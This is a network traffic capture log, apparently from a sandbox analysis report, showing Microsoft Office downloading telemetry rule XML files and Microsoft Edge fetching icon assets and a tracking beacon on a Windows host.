2024-11-20 13:43:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134342Z-1777c6cb754mqztshC1TEB4mkc00000009kg00000000nwdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:43 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.6	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:42 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134343Z-185f5d8b95c4hl5whC1NYCeex00000000a8000000000a81q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:43 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:43 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134343Z-185f5d8b95csp6jmhC1NYCwy6s0000000a7g00000000ga7u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:43 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:43 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:43 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:43 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 961908b5-401e-0016-178c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134343Z-1777c6cb754xrr98hC1TEB3kag00000009d000000000k4mw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:43 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:43 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:44 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:43 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134343Z-185f5d8b95c9mqtvhC1NYCghtc0000000a9g00000000nmsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:44 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49844	18.165.220.57	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:44 UTC	925	OUT	GET /b?rn=1732110223131&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CB77821E0D96F30089A6D1CE1DE6E70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:44 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Wed, 20 Nov 2024 13:43:44 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732110223131&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0CB77821E0D96F30089A6D1CE1DE6E70&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1BCcf74d5b3bd6af5a9ecf31732110224; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1BCcf74d5b3bd6af5a9ecf31732110224; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 fb6afc857f0eaed863f06738b3882546.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: 4A98FsaWL-_G8hOhdofb-UyVjjeR8-ExHxpQHmGz8VpkubwQgcSYTw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49879	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:44 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:45 UTC	523	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4ee2e47e-001e-0023-6952-3b07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134345Z-185f5d8b95cgrrn8hC1NYCgwh40000000a6g000000008f3x Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49880	13.107.246.63	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:44 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 38897a0b-401e-000a-7a8c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134345Z-185f5d8b95cwtv72hC1NYC141w0000000a80000000009n0g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 13:43:45 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T134345Z-1777c6cb754xrr98hC1TEB3kag00000009fg00000000cxdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49886	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: d2f483fd-201e-0052-2e1b-3b75f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134345Z-r1d97b99577kk29chC1TEBemmg000000091g000000004f5g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49883	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 13:43:45 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:45 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ed73dd0d-d01e-006e-40d9-3ac12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241120T134345Z-185f5d8b95c4hl5whC1NYCeex00000000a7000000000ertu Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 13:43:45 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49885	13.107.246.38	443	7744	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 13:43:45 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
